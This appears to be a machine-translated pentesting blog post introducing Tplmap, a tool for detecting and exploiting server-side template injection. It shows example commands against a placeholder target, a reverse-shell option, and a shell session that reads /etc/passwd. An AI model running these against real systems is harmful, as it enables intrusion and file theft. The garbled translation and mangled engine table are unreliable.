Tplmap – identifier et utiliser le moteur modèle

Tplmap Tplmap

Lorsque vous effectuez un test de pénétration d’une page Web qui génère du contenu dynamique à l’aide de modèles avec des valeurs fournies par l’utilisateur, vous pouvez rencontrer une vulnérabilité d’injection de modèles côté serveur. L’identification manuelle du moteur du modèle auquel vous faites face et l’exploitation ultérieure peuvent être facilement automatisées à l’aide de l’outil Tplmap.

Tplmap est capable de détecter et d’utiliser SSTI dans plus d’une douzaine de types de moteurs modèles. Il a des fonctionnalités telles que la navigation dans le système de fichiers et l’exécution de commandes à distance sur un serveur attaqué.

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
    Automatic Server-Side Frame Injection Detection and Exploitation Tool (en)

[+] Tester si le émetteur GET 'nom' est injectable
[+] Smarty plugin teste le rendu avec l’étiquette '
[+] Smarty plugin teste l’injection aveugle
[+] Mako plugin teste le rendu avec le tag '$ '
...
[+] Jinja2 plugin teste le rendu avec l’étiquette '
[+] Jinja2 plugin a confirmé l’injection avec l’étiquette ''
[+] Tplmap a identifié le point d’injection suivant :

GET paramètre: nom
  Moteur: Jinja2
  Injection :
  Contexte: texte
  OS: linux
  Technique: rendu
  Capacité:

Exécution de commande Shell: ok
   Lier et inverser la coquille: ok
   Écriture de fichier: ok
   Fichier lu: ok
   Code d’évaluation: ok, python code

[+] Rerun tplmap fournissant l’une des options suivantes:

--os-shell Exécuter shell sur la cible
    --os-cmd Commandes de coquille d’exécution
    --bind-shell PORT Connect to a shell bind to a target port
    --reverse-shell HOST PORT Envoyer une coquille au port de l’attaquant
    --télécharger local REMOTE Télécharger des fichiers sur le serveur
    --télécharger REMOTE LOCAL Télécharger des fichiers à distance

Utilisez l’option --os-shell pour exécuter pseudoterminal sur la cible.

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
    Automatic Server-Side Frame Injection Detection and Exploitation Tool (en)

[+] Exécutez des commandes sur le système d’exploitation.

linux $ whoami
www
linux $ chat /etc/passwd
racine:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

Tplmap prend en charge plus de 15 moteurs modèles :

MoteurExécution à distance des commandesAveugleÉvaluation du codeLire le fichierEnregistrement au fichier
Mako MakoPython Python
Jinja2Python Python
Python (enval de code)Python Python
TornadePython Python
Nunjucks NunjucksJavaScript (en)
Pug PugJavaScript (en)
doT (en)JavaScript (en)
Marko MarkoJavaScript (en)
JavaScript (en cours de code)JavaScript (en)
Poussière (<= [email protected])JavaScript (en)
EJSJavaScript (en)
Ruby Ruby (code eval)Ruby Ruby Ruby
Slim SlimRuby Ruby Ruby
ERBRuby Ruby Ruby
Smarty (non sécurisé)PHPS
HTML (code eval)PHPS
Twig Twig<=1.19)PHPS
Marqueur gratuit×
Vélocité×
Twig (>1.19)×××××
Smarty (sécurisé)×××××
Poussière (> [email protected])×××××

Tplmap peut être trouvé sur githubie créateur – tplmap.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!). <br> Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Pour marque-pages : Permaliens.

Podziel się swoją opinią na temat artykułu